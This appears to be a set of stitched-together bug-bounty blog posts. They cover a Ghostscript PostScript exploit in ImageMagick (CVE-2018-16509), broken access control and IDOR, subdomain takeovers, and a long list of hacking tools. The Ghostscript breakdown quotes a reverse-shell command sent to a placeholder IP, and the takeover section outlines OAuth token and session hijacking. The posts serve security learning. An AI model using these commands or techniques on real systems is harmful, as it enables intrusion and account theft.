At the time of the report, GhostScript could be ran in an optional -dSAFER safe sandbox mode. The SAFER mode enables access controls on files, device selection and device parameters. In this mode, the device’s .LockSafetyParams parameter is set to true.

In the -dNOSAFER mode, PostScript programs are allowed to read, write, rename or delete system files that lack operating system permission protection.  In this mode, the device’s .LockSafetyParams parameter is set to false.

In the absence of the -dSAFER switch, exploiting GhostScript can be easily achieved by use of the %pipe% command to run shell commands on the vulnerable system.

policy.xml

“Tavis Ormandy has also mentioned recently that the policy.xml needs to disable EPS,PS,PDF and XPS since all these have ways to trigger Ghostscript...”

In Rosén’s report, he references Tavis Ormandy’s concerns regarding the default configuration settings for coders in ImageMagick.

On August 21, 2018, Google’s Project Zero security researcher Tavis Ormandy disclosed several vulnerabilities in GhostScript. One of these vulnerabilities provided the PoC adjusted and used by Rosén. Read the conversation between Ormandy and the GhostScript team. 

ImageMagick is reliant on external configuration files to customize settings, manage resources, optimize performance and enhance security. Customizing the security policy is accomplished in the policy.xml file.

If directives to block uploads of a certain file type are not explicitly set, the files will be processed by ImageMagick and, by extension, sent to GhostScript. At the time, there were no such default directives and manual changes were required in order for ImageMagick to not render PS and EPS files if presented with PostScript data.

The secure configuration within the <policymap> section of the policy.xml file would have consisted of the following:

CVE-2018-16509

PoC provided by Tavis Ormandy:

The Exploit

[IP] is a placeholder for the listening address.
This file was saved as a .jpg and uploaded to My Reports.
View PostScript documentation. 

Script Breakdown

1. The script begins with %!PS indicating the following content is written in PostScript.
    
2. The undef operator removes a dictionary entry entirely - both the key and value. This is used to remove the setpagedevice command from the userdict, preventing any changes to device settings.
    
3. legal is a userdict operator that sets the page dimensions. This will trigger an error since setpagedevice was removed.
    
4. The { null restore } stopped { pop } if sequence checks for errors. If one occurred it will revert the device back to the last saved state. Since the save command was not called and therefore there is no state to revert back to and { null restore } is a no-op placeholder (meaning do nothing) - the state that will be reverted back to when the script errors is the initial state of the interpreter when it was started. Except this time, since the setpagedevice command has been removed - no security settings can be implemented. Effectively excluding the -dSAFER option, setting .LockSafetyParams to false.
    
5. The legal operator is used again to set the device to a page.
    
6. When the flag is set to false, the check for OutputFile does not trigger an invalidaccess error if unauthorized access is attempted.
    
7. putdeviceprops sets device properties on the currentdevice.
    
8. The mark PostScript operator is used to push the current state on the stack. It is a way to mark a point in the program so that you can later restore the state to that point using the restore operator.
    
9. currentdevice putdeviceprops applies the newly defined output command in the parenthesis to the device.
    
10. %pipe% instructs the interpreter to start a new process, in this case run bash -c which will open a shell on the device. Within this shell, the command ‘bash -i >& /dev/tcp/[IP]/8080 0>&1’ is ran. This will create a reverse shell connection to the attacking machine. >& redirects the standard output (stdout) and standard error (stderr) to the attacker machine. While 0>&1 redirects input from the attacker’s shell to the shell on the device.

Conclusion

Rosén’s efforts resulted in a bounty and a bonus amount. The Semrush team also gave him a promotion code to allow Rosén to test the paid functionality of their service.

When you are testing, ensure to check if any PostScript-compatible file types are allowed as it may result in a file upload vulnerability.

Sources

Print Center Features - Adobe PostScript vs. Adobe PDF. (n.d.). https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/

Ormandy, T. (n.d.). oss-sec: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? https://seclists.org/oss-sec/2018/q3/142

Systems, A. (1999). PostScript Language Reference, Third Edition. Retrieved August 29, 2024, from https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf

CERT/CC Vulnerability Note VU#332928. (n.d.). https://www.kb.cert.org/vuls/id/332928

Applications can be compromised when files are not uploaded to the server’s file system in a secure manner. If a malicious attacker is able to upload a file and the server processes its contents - remote control over the system is possible. These kinds of vulnerabilities are simply referred to as file upload vulnerabilities.

What Is Broken Access Control?

BAC is a class of application vulnerability where a function or asset in the application is accessible to someone who should not have access.

If you're anything like me, that definition will not have gotten you any closer to understanding what BAC means, so here are some fictitious examples of BAC bugs:

BAC Example 1: An e-commerce website allows unauthorized viewing of customer details

Let's say your favourite online camping shop is having a sales on waterproof hiking boots, so you decide to take a look. You recently moved house, so before you make a purchase you want to check if your delivery address is up to date on your customer profile. You login and navigate to your account settings which takes you to the following URL:

In this instance, 482 is your user's numeric identifier. It is very common for applications to store objects in a database, referring to them with a unique numeric identifier. The row of the database might look something like this:

When navigating to /users/482 the email, address, and credit number are shown on the page.

But, what happens if we change 482 to another number, such as 481?

You navigate to /users/481 and the details of another user are displayed. Of course, these details should not be viewable to you, which means that you have just stumbled across a BAC bug. This could be further exploited by accessing all of the user details from 0-481, which is exactly how some data breaches occur.

BAC Example 2: A bank allows transactions from unauthorized parties

In this example, we'll cover a slightly different style of BAC vulnerability. Instead of having unauthorized access to sensitive data, the attacker will have unauthorized access to functionality.

Let's say that you log into your bank account's website to pay some money to a friend. You notice that upon sending the transaction, your browser sends a request that looks like this:

Your hacker senses start tingling, so you change the "from_account" to 470000000 and the "to_account" to your own bank account id. You forward the request through and $20 instantly appears in your account.

You've found a BAC bug, and made $20!

Just a timely reminder: don't run tests like this unless you have explicit permission because even if you have the best intentions, it may end up landing you in legal trouble.

What's the Difference Between BAC and IDOR?

Simply put, Insecure Direct Object Reference (IDOR) bugs are a subset of BAC bugs. IDOR bugs refer to a type of BAC bug where the attacker can access an object that they shouldn't be able to access by simply referencing its ID directly. Some examples of BAC bugs that are not IDOR bugs include:

• Privilege escalation through forced browsing (e.g. gaining administrative privileges by simply navigating to /admin)
• The ability to access another user's resources by tampering with a request (for example, saying that your username is the victim's username), but not actually directly accessing an object through its identifier.
• Broken access controls through HTTP verb tampering: e.g. an attacker can update records that they shouldn't be able to update by sending a POST request instead of a GET request in the HTTP request.

Prevalence of Modern BAC Bugs

It's tempting to think that BAC bugs should be mostly eradicated by now. They're not. In fact, they've recently taken center stage as they've become number one in the OWASP top ten list. There are some very successful bug bounty hunters who focus almost exclusively on these types of bugs.

We've seen a drop in the amount of injection bugs (such as SQL injection) over the last 10 years or so because these types of bugs are able to be solved at a high level by using frameworks that encourage developers to code things securely by default. This is very difficult to do with BAC bugs because permission structures in applications are often complex and application-specific. Access controls usually need to be implemented as custom rules, and defined per function or object. If any are missed - it is likely to result in a vulnerability.

Types of BAC Identifiers

Specifically for IDOR vulnerabilities, it's important to be aware of the common types of things that developers use as identifiers so that you can spot them quickly when you're scrolling through proxy logs.

User-Chosen Identifiers

Perhaps the simplest, these are types of identifiers that the user has chosen, such as a username, email address, or URL slug.

Natural Keys

Natural keys are types of identifiers that naturally occur in the data. For example, when referring to a US citizen you might use their social security number as an identifier.

Composite Keys

These keys are made up of multiple fields from the object, for example in a standard e-commerce application, you might combine a user identifier with a product identifier to create the identifier of an order.

Numeric identifiers

The examples given above are numeric identifiers. This is the most common type of identifier, it simply assigns a number to every new object that is created, incrementing by one each time.

For example, in a web application that generates invoices, the first invoice might be accessible at:

Likewise, the 432nd invoice might be accessible at:

These identifiers are the easiest to exploit because you can simply increment or decrement the counter to access other invoices.

UUIDs

A UUID (Universally Unique Identifier) is a 128-bit number that is also often used as an identifier. The probability of generating the same UUID more than once is extremely low. For this reason, they are commonly used in software development for identifying resources such as database entries, objects in distributed systems, or unique keys in databases.

UUIDs are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, like this:

In a nutshell, it's extremely difficult (verging on impossible) to exploit broken access controls if UUIDs are being used as identifiers, unless you can leak the identifiers somehow (which is sometimes possible through normal use of the application).

Hashes

Hashes are often used as identifiers, especially when dealing with files. The file is hashed and then this hash becomes the identifier for that file.

Techniques for Finding BAC Bugs

There are many ways to find BAC bugs, but here are a few common techniques.

Permissions Mapping

Once you've chosen your target, create two lists. On the left, create a list of user roles. On the right, create a list of actions that can be performed in the application. For example, for a simple blog application, it may look like this:

User Roles

Actions

Unauthenticated

Create a new blog

Editor

Read blogs

Administrator

Update a blog post

Delete a blog post

Now, use a spreadsheet to assign every action to every user, and two more columns. One that says "Should have permission", and one that says "Does have permission". Go through each row and update "should have permission" to "yes" or "no" based on whether that role should have that permission:

Action

User

Should have access

Does have access

Unauthenticated

Create a new blog

No

Unauthenticated

Read blogs

Yes

Unauthenticated

Update a blog post

No

Unauthenticated

Delete a blog post

No

Editor

Create a new blog

No

Editor

Read blogs

Yes

Editor

Update a blog post

Yes

Editor

Delete a blog post

No

Administrator

Create a new blog

Yes

Administrator

Read blogs

Yes

Administrator

Update a blog post

Yes

Administrator

Delete a blog post

Yes

Now the fun begins! For every "No" in the "Should have access" column, test the application to see if you can perform the action. At the end, if there are any rows that have a "No" in the "Should have access" column and "Yes" in the "Does have access" column, you've found a BAC bug. For example:

Action

User

Should have access

Does have access

Unauthenticated

Create a new blog

No

No

Unauthenticated

Read blogs

Yes

Yes

Unauthenticated

Update a blog post

No

No

Unauthenticated

Delete a blog post

No

No

Editor

Create a new blog

No

No

Editor

Read blogs

Yes

Yes

Editor

Update a blog post

Yes

Yes

Editor

Delete a blog post

No

Yes

Administrator

Create a new blog

Yes

Yes

Administrator

Read blogs

Yes

Yes

Administrator

Update a blog post

Yes

Yes

Administrator

Delete a blog post

Yes

Yes

In this table, you can see that an "Editor" should not be able to delete a blog post, but they can. Time to get reporting!

For a larger, more complex application, permission mapping can be extremely repetitive and tedious, but having the patience to be comprehensive and thorough pays dividends.

Autorize

Autorize is a Burp Suite BApp that helps uncover BAC bugs by replaying your normal browsing requests as another user. It then compares the response of the legitimate request to the response of the illegitimate request to determine whether the request was successful or not. It will then color code responses based on how similar they are, allowing you to easily filter out interesting requests. Learn more about Autorize.

Conclusion

It's official: Broken Access Control is the number one most common security issue found in applications according to OWASP. In my own experience hunting on programs, I can confirm that this is indeed the case. They are also quite a simple bug to understand, meaning that they're a great first bug class to learn about. I hope that this blog post has taught you about BAC bugs and inspired you to go out and find a few of your own.

Happy hacking!

Perhaps you've just started bug bounties and you keep hearing people talk about Broken Access Control (BAC) bugs. Or, perhaps you're an experienced hacker who has come here for some more advanced BAC tips and tricks. Either way — this blog has got you covered. We'll start with the basics, so feel free to skip ahead.

1. Understanding subdomain takeovers

2. Identifying vulnerable services

3. Examples of vulnerable and secure services

4. Enumerating subdomains

5. Automating the process of finding subdomain takeovers

6. Exploiting subdomain takeovers

7. Final notes on best practices for reporting subdomain takeovers

Understanding Subdomain Takeovers

Scenario

First, a quick, fictitious scenario to get you up to speed with subdomain takeovers. Let's assume that example.com is the target in a bug bounty program. While enumerating all the subdomains belonging to example.com—a process we will explore later—we stumble across subdomain.example.com, which is pointing to a third-party service, namely GoHire. GoHire is a hiring platform that allows users to set custom domains for their branded job boards as documented here. 

In this instance, we can confirm that the subdomain is pointing to GoHire by examining the subdomain's DNS records. This method is not always reliable, particularly when services employ solutions like Cloudflare for DNS management. For simplicity's sake, let us assume that our example is pointing directly to custom.gohire.io, as per the GoHire documentation.

When navigating to subdomain.example.com, we encounter the following 404 error page.

At this point, some hackers' senses start tingling. The 404 page suggests that no content is being served under the top-level directory, prompting us to try adding this subdomain to our personal GoHire instance.

Bingo! We have found a subdomain takeover and seized control of the subdomain. How did this happen? The company likely deleted their GoHire instance but overlooked removing the corresponding DNS records. This oversight allowed us to claim ownership of subdomain.example.com since GoHire only requires the DNS to point to custom.gohire.io.

To prevent such incidents, it is crucial for companies to remove DNS entries before deleting their GoHire instance. Additionally, services such as GoHire could enhance security by implementing a domain ownership challenge and/or per-user randomly generated subdomains. Domain ownership challenges often work by generating a random string that GoHire users must add as a DNS TXT record to the target subdomain. GoHire checks that this DNS TXT record exists on the domain before allowing the user to host their GoHire page, ensuring that the user indeed controls the subdomain before allowing it to point to their service.

Now that the custom subdomain has been added to our GoHire project, we can see that our instance is being served on subdomain.example.com. For demonstration purposes, we have constructed an HTML document with a code comment containing our HackerOne handle in a random, hidden directory (e.g., /akjehajkgehagjeahgjkehakghjaehg.html).

Constructing the proof of concept in this subtle manner, rather than on the index page of the hijacked subdomain, avoids damaging the brand's reputation. This is considered good practice and is appreciated by bug bounty program owners. There have been incidents in the past of hackers posting messages similar to "HACKED BY EDOVERFLOW" or hosting images on the index page, which can come across as malicious defacement, even if it is well-intended.

Identifying Vulnerable Services

How do I know if a service is vulnerable?

We discussed GoHire as an example of a vulnerable service, but how can we identify other services that leave customers vulnerable to such oversights? There are a few solutions available.

Community Resources

The straightforward approach is to consult "Can I take over XYZ?". This community-maintained GitHub repository tracks services vulnerable to subdomain takeovers. The repository has largely evolved into a discussion board where the issue tickets allow for more open discussion surrounding the nuances of performing subdomain takeovers against particular services.

Hands-on Testing

For services not documented in the aforementioned GitHub repository, a more hands-on approach is required. Check if the service conducts domain ownership verification. Sign up for the service and attempt to add your own subdomain. Does the service challenge you in the process? If not, it is likely the service allows for subdomain takeovers. You could simulate a subdomain takeover by trying to "claim" ownership of one of your own subdomains that points to a deleted project or account.

Examples of Vulnerable and Secure Services

At the time of writing, "Can I take over XYZ?" lists 76 services, some of which are vulnerable, while Nuclei includes 72 templates for identifying vulnerabilities in these services. These lists aren't exhaustive, but they're a great place to start.

Let's examine two case studies: one involving a vulnerable service and another in which subdomains are protected from hijacking.

Vulnerable Service: ReadMe

ReadMe is a tool for creating interactive documentation. Each project is assigned a *.readme.io subdomain, with the option to configure custom subdomains. As shown in the configuration panel below, adding a custom subdomain involves simply adding a CNAME record to the respective *.readme.io subdomain.

When creating a new project, ReadMe prompts the user to specify their desired *.readme.io subdomain. If a user deletes their project but forgets to remove the corresponding DNS record for their custom subdomain, claiming the subdomain is straightforward: just create a new ReadMe project using the subdomain specified in the CNAME records (e.g., edoverflows-test-project.readme.io as seen in the screenshot below).

Secure Service: Okta

A case study illustrating a secure approach is Okta, an identity and access management service. Okta prevents subdomain takeovers from occurring by offering custom domains that require ownership verification through the use of unique, randomly generated strings that users must insert into a DNS TXT record. This process ensures that only users with access to the DNS configuration of a subdomain can link it to their Okta instance. As a result, even if outdated DNS records still point to Okta, the subdomain remains secure and cannot be hijacked. This is because an attacker would need to update the subdomain's DNS configuration with their own newly generated Okta verification string to prove control over the subdomain's DNS settings, thereby demonstrating genuine domain ownership.

Enumerating Subdomains

You know how to identify a vulnerable service; however, now you need to actually discover as many in-scope subdomains as possible. To achieve this, two forms of subdomain enumeration can be used in tandem.

Active Enumeration

This method involves directly interacting with the target domain to gather information about its subdomains. Tools like MassDNS, puredns, and dnsgen perform active brute-force attempts to discover subdomains. These tools systematically probe the domain's DNS infrastructure for any associated subdomains by querying different DNS records (such as A, AAAA, CNAME, etc.) and analyzing the responses received.

Passive Enumeration

Passive enumeration gathers information without directly interacting with the target domain. This approach typically involves leveraging third-party sources such as search engines, databases, certificate transparency logs, internet data brokers, and other repositories where subdomains may be inadvertently disclosed or indexed. Tools like Amass and Sublist3r automate the collection of such data from a range of passive (and active!) sources, providing a comprehensive list of subdomains associated with the target domain.

Automating the Process of Finding Subdomain Takeovers

Due to the predictable nature of subdomain takeovers, it's possible to automate detection and exploitation.

Automation with Nuclei

One powerful tool for automating the detection of subdomain takeovers is Nuclei. Nuclei is a vulnerability scanner that supports custom scanning templates, including those designed specifically for identifying subdomain takeovers. Templates can be found under the nuclei-templates/http/takeovers folder.

Of course, the selection of services in that template folder is not exhaustive. Therefore, it is advantageous to be able to design custom templates for new vulnerable services that you discover. Usually, this will entail adding a word matcher for a particular string associated with the 404 page of the vulnerable service. For instance, with Wix, the template needs to search for Error ConnectYourDomain occurred and wixErrorPagesApp in the HTTP response.

Writing a Nuclei Template for a New Vulnerable Service

Let us walk through the process of writing a Nuclei template for a new vulnerable service. We will use GoHire as our example. The string to match here is: "You may have followed an invalid link, or the job you are looking for has been archived."

1. Install Nuclei: If you have not already, you can install Nuclei by following the instructions on the Nuclei GitHub page.

2. Create a new template file: Navigate to your Nuclei templates directory and create a new YAML file, for example, gohire-takeover.yaml.

3. Define the template metadata: Start by adding the metadata for your template. This includes the template ID, information about the template, and any relevant tags.

4. Specify the HTTP request: Define the HTTP request that Nuclei should perform to check for the vulnerability.

5. Add matchers: Add matchers to check for specific conditions in the HTTP response. For GoHire, we want to look for the string "You may have followed an invalid link, or the job you are looking for has been archived" in the HTTP response.

6. Run the template: With your new template created, you can now test it using Nuclei against a known, vulnerable host (e.g., vulnerable.example.com).

You have successfully created a new Nuclei template for a service not included in the default list. This gives you a competitive edge, as you can now scan for previously undocumented subdomain takeovers that other Nuclei users might overlook.

Exploiting Subdomain Takeovers

Now that you control a subdomain belonging to the target and have confirmed your ability to serve content on it, what's the next step?

As stated earlier, it is considered best practice to host an HTML file on a hidden path, containing a secret message or your HackerOne handle within an HTML comment, rather than publishing content on the index page for the world to see. This approach should be sufficient to demonstrate the issue when initially contacting the program about your finding. Only after receiving permission from the team should you proceed to escalate the issue and fully illustrate the overall impact of the vulnerability. In most cases, the team should already be aware of the potential impact.

Assuming you are cleared to advance with exploitation and wish to explore different attack avenues, we need to explore how the subdomain interacts with other services and potentially vulnerable components belonging to the bug bounty program.

Cookies

One significant aspect to consider is the subdomain's ability to modify cookies scoped to the main domain (example.com). If the cookies are not adequately protected, this capability could potentially lead to session hijacking on the main domain.

From output.jsbin.com, we can set cookies for jsbin.com.

Similarly, if jsbin.com had a non-HTTPOnly cookie scoped to all of its subdomains, we could read it from output.jsbin.com.

If the main domain is susceptible to session fixation, setting a malicious session cookie can enable persistent session hijacking. However, in cases where victims have logged in, their browser likely already has a session cookie which is HTTPOnly and hence protected from being overwritten. There are several clever tricks that can be leveraged to create duplicate cookies with the same name with higher precedence over the original ones, which can be found on this slide. 

Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) plays a crucial role in allowing or restricting cross-origin requests. Applications often configure CORS policies, assuming subdomains are trusted entities. When hijacking a subdomain, checking for CORS headers—effectively detected by tools like Burp Suite Pro—becomes pivotal. Exploiting misconfigured CORS policies can potentially allow for unauthorized data extraction, including sensitive authenticated data, from the main application.

OAuth Whitelisting

Similar to CORS, OAuth implementations often allow specific callback URIs. Exploiting allowed subdomains can enable you to redirect users during OAuth flows to your controlled subdomain, potentially exposing their OAuth tokens.

OAuth Whitelisting Exploitation Example

Let's say there's a web application using OAuth 2.0 for user authentication. The implementation allows any subdomain of the application's domain in the redirect URI whitelist. For example, the application's domain is example.com, and the allowed redirect URIs include *.example.com.

1. The attacker registers a subdomain like attacker.example.com (perhaps the main site allows subdomains to be created for different purposes, like user blogs or workspaces), or maybe the attacker performs a subdomain takeover attack to take control of an existing subdomain.

2. The attacker prepares a malicious service on attacker.example.com. This service is crafted to capture OAuth tokens when a user is redirected to it, and could be as simple as a HTTP server with logs enabled.

3. The attacker creates a malicious link with the redirect URI pointing to the compromised subdomain. The victim user tries to authenticate with a third-party OAuth provider (e.g., Google, Facebook) by logging into the legitimate web application at www.example.com, but uses the attacker's crafted link with the malicious redirect_uri.

4. The OAuth provider checks if the redirect_uri is allowed based on the whitelist set by the legitimate app. Since attacker.example.com is a valid subdomain under *.example.com, the request is approved.

5. After successful authentication, the OAuth provider redirects the victim back to attacker.example.com, along with the OAuth token in the query parameters or fragment (depending on the OAuth flow, e.g., Authorization Code or Implicit).

6. The attacker’s malicious server captures the OAuth token or authorization code. With this, the attacker can now access the victim's account, impersonating the victim in the legitimate app.

This type of attack leverages poor validation of redirect URIs, which can enable an attacker to hijack OAuth tokens and compromise user accounts.

Content-Security Policies (CSP)

Content-Security Policies (CSP) are a layer of defence, restricting which hosts can execute client-side code within the application's context. If your subdomain is included in the CSP allow list, it could be leveraged to bypass these security measures and execute malicious client-side code.

Cross-Site Request Forgery (CSRF)

Modern browsers include the SameSite attribute to all cookies by default, which eliminates the majority of CSRF attack scenarios. With a subdomain under our control, we can send HTTP requests to the main site with all original cookies attached. This is because subdomains are considered "same site".

Final Notes on Best Practices for Reporting Subdomain Takeovers

Things to Avoid

Besides website defacement, there are two things you should avoid when submitting subdomain takeovers. The first is submitting potential takeovers. Unless the bug bounty program states they are interested in receiving potential subdomain takeovers, it is best advised to hold on reporting these findings until the takeover can be reliably demonstrated. There are many instances where subdomains appear to be vulnerable, but aren't. The best way to know for sure is to just try it. Program owners don't have time to research each potential subdomain takeover without a proof of concept.

Another area of contention is keeping a copy of the proof of concept page on the Wayback Machine. I have been informed this practice is not always appreciated by bug bounty programs and is best avoided.

Conclusion

Subdomain takeovers are still a big deal, even after six years. We have covered the basics of identifying vulnerable subdomains, explored tools like Nuclei for automation, and highlighted real-world examples like GoHire and Okta. With these insights, you are better equipped to tackle subdomain takeovers in the wild. Happy hunting and safe hacking!

@EdOverflow

Six years after my initial version of "A Guide To Subdomain Takeovers" was published, I am excited to share further insights and developments from the world of subdomain takeovers. Much has happened since then: I have resumed competitive swimming, completed a university degree, and my hair has started thinning. However, one thing remains unchanged: subdomain takeovers are just as relevant as they were six years ago.

The aim of this blog post is to provide a general understanding of subdomain misconfigurations, supplemented with up-to-date resources and tools. This article assumes that readers have a basic understanding of the Domain Name System (DNS) and know how to set up a subdomain.

Web Proxy

1. Burp Suite: The quintessential web app hacking tool. Once you hit 500 reputation on HackerOne, you are eligible for a free 3-month license of Burp Suite Pro! Check out these awesome Burp plugins:
2. ActiveScan++: ActiveScan++ extends Burp Suite's active and passive scanning capabilities. Designed to add minimal network overhead, it identifies application behavior that may be of interest to advanced testers.
3. Autorepeater Burp: Automated HTTP request repeating with Burp Suite. 
4. Autorize Burp: Autorize is an extension aimed at helping the penetration tester to detect authorization vulnerabilities—one of the more time-consuming tasks in a web application penetration test.
5. js-link finder: a Burp extension for passive scanning JS files for endpoint links
6. Flow: This extension provides a Proxy history-like view along with search filter capabilities for all Burp tools.
7. Logger++: Logger++ is a multi-threaded logging extension for Burp Suite. In addition to logging requests and responses from all Burp Suite tools, the extension allows advanced filters to be defined to highlight interesting entries or filter logs to only those which match the filter.
8. WSDL Wizard: This extension scans a target server for WSDL files. After performing normal mapping of an application's content, right click on the relevant target in the site map, and choose "Scan for WSDL files" from the context menu. The extension will search the already discovered contents for URLs with the .wsdl file extension, and guess the locations of any additional WSDL files based on the file names known to be in use. The results of the scanning appear within the extension's output tab in the Burp Extender tool.
9. Caido.io: A competitor to Burp Suite

Web Hacking Tools

10. Jsluice: jsluice is a Go package and command-line tool for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. .
11. lazys3: A Ruby script to brute-force for AWS s3 buckets using different permutations.
12. Teh_s3_bucketeers: Teh_s3_bucketeers is a security tool to discover S3 buckets on Amazon's AWS platform. 
13. Virtual-host-discovery: This is a basic HTTP scanner that enumerates virtual hosts on a given IP address. During recon, this might help expand the target by detecting old or deprecated code. It may also reveal hidden hosts that are statically mapped in the developer's /etc/hosts file.
14. Wpscan: WPScan is a free (for non-commercial use) black box WordPress security scanner written for security professionals and bloggers to test the security of their sites.
15. Webscreenshot: A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script.
16. Asnlookup: The ASN Information tool displays information about an IP address's Autonomous System Number (ASN), such as: IP owner, registration date, issuing registrar and the max range of the AS with total IPs.
17. Unfurl: Unfurl enables hackers to programmatically parse a txt file of domains and pull out content based on a given criteria (e.g., unique domains, params, keys, etc.). 
18. Waybackurls: Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for *.domain and output them on stdout.
19. Httprobe: Takes a list of domains and probes for working http and https servers.
20. Meg: Meg is a tool for fetching lots of URLs without taking a toll on the servers. It can be used to fetch many paths for many hosts, or fetching a single path for all hosts before moving on to the next path and repeating.
21. Gau: getallurls (gau) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. Inspired by Tomnomnom's waybackurls.
22. Ffuf: A fast web fuzzer written in Go.
23. Dirsearch: a simple command line tool designed to brute force directories and files in websites.
24. OWASP Zed: OWASP Zed Attack Proxy (ZAP) is an open source tool which is offered by OWASP (Open Web Application Security Project), for penetration testing of your website/web application. It helps you find the security vulnerabilities in your application.
25. Subfinder: subfinder is a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources. It has a simple modular architecture and is optimized for speed. subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well.
26. EyeWitnees: EyeWitness is designed to take screenshots of websites, provide some server header info, and identify any default credentials. EyeWitness is designed to run on Kali Linux. It will auto detect the file you give it with the -f flag as either being a text file with URLs on each new line, nmap xml output, or nessus xml output. The --timeout flag is completely optional, and lets you provide the max time to wait when trying to render and screenshot a web page.
27. Nuclei: Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use.
28. Naabu: naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN scans on the host/list of hosts and lists all ports that return a reply.
29. Shuffledns: shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support.
30. Dnsprobe: DNSProbe is a tool built on top of retryabledns that allows you to perform multiple dns queries of your choice with a list of user-supplied resolvers.
31. Chaos - Chaos actively scans and maintains internet-wide assets' data. This project is meant to enhance research and analyze changes around DNS for better insights.
32. Subjack: Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. With Go's speed and efficiency, this tool really stands out when it comes to mass-testing. Always double-check the results manually to rule out false positives.
33. gitGraber: gitGraber is a tool developed in Python3 to monitor GitHub to search and find sensitive data in real time for different online services.
34. Shhgit: Shhgit finds secrets and sensitive files across GitHub code and Gists committed in nearly real-time by listening to the GitHub Events API.
35. Commit-stream: Commit-stream extracts commit logs from the Github event API,  exposing the author details (name and email address) associated with Github repositories in real time.
36. Masscan: This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, all from a single machine.
37. Massdns: MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per second using publicly available resolvers.
38. Findomain: Findomain offers a dedicated monitoring service hosted in Amazon (only the local version is free), that allows you to monitor your target domains and send alerts to Discord and Slack webhooks or Telegram chats when new subdomains are found.
39. Amass: The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.
40. Dnsgen: This tool generates a combination of domain names from the provided input. Combinations are created based on wordlist. Custom words are extracted per execution.
41. Dngrep: A utility for quickly searching presorted DNS names. Built around the Rapid7 rdns & fdns dataset.
42. Wfuzz: Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.
43. Gowitness: gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.
44. Whatweb: WhatWeb recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1800 plugins, each to recognize something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.
45. Dirb: ‘DIRB is a web content scanner. It launches a dictionary-based attack against a web server and analyzes the response. 
46. Dnscan:  dnscan is a python wordlist-based DNS subdomain scanner
47. Sublert: Sublert is a security and reconnaissance tool that was written in Python to leverage certificate transparency for the sole purpose of monitoring new subdomains deployed by specific organizations and an issued TLS/SSL certificate. The tool is supposed to be scheduled to run periodically at fixed times, dates, or intervals (Ideally each day). New identified subdomains will be sent to Slack workspace with a notification push. Furthermore, the tool performs DNS resolution to determine working subdomains.
48. Recon-ng: Recon-ng is a full-featured reconnaissance framework designed with the goal of providing a powerful environment to conduct open source, web-based reconnaissance quickly and thoroughly.
49. Jok3r: Jok3r is a framework that helps penetration testers with network infrastructure and web security assessments. Its goal is to automate as much as possible in order to quickly identify and exploit "low-hanging fruit" and "quick win" vulnerabilities on most common TCP/UDP services and most common web technologies (servers, CMS, languages...).
50. DirBuster: This tool is a multi-threaded java application that is used to perform brute force over directories and file names on web and application servers. DirBuster attempts to find hidden directories and pages within a web application, providing users with an additional attack vector.
51. Altdns:  Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging), as well as a list of known subdomains.
52. Recon_profile: This tool is to help create easy aliases to run via an SSH/terminal.  
53. BBHT: Bug Bounty Hunting Tools is a script to install the most popular tools used while looking for vulnerabilities for a bug bounty program.
54. projectdiscovery/katana: A next-generation crawling and spidering framework.
55. tomnomnom/hacks

Mobile Hacking Tools

56. MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.
57. Jadx: Jadx is a dex to Java decompiler. The command line and GUI tools for producing Java source code from Android Dex and Apk files. 
58. Dex2Jar: Dex2Jar is a freely available tool to work with Android “. dex” and Java “. class” files. 
59. Radare2: A free/libre toolchain for easing several low level tasks, such as forensics, software reverse engineering, exploiting, debugging, etc. It is composed by a large number of libraries (which are extended with plugins) and programs that can be automated with almost any programming language.
60. Genymotion: Cross-platform Android emulator for developers & QA engineers. Develop & automate your tests to deliver best quality apps.
61. Frida "Universal" SSL Unpinner 
62. Frida: Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.

Exploitation Tools

63. SQLNinja: Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
64. NoSQLMap: NoSQLMap is an open source Python tool designed to audit for, as well as automate injection attacks, and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL to disclose or clone data from the database. 
65. Ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 
66. Sqlmap: sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including: database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
67. SSRFTest: SSRF testing tool.
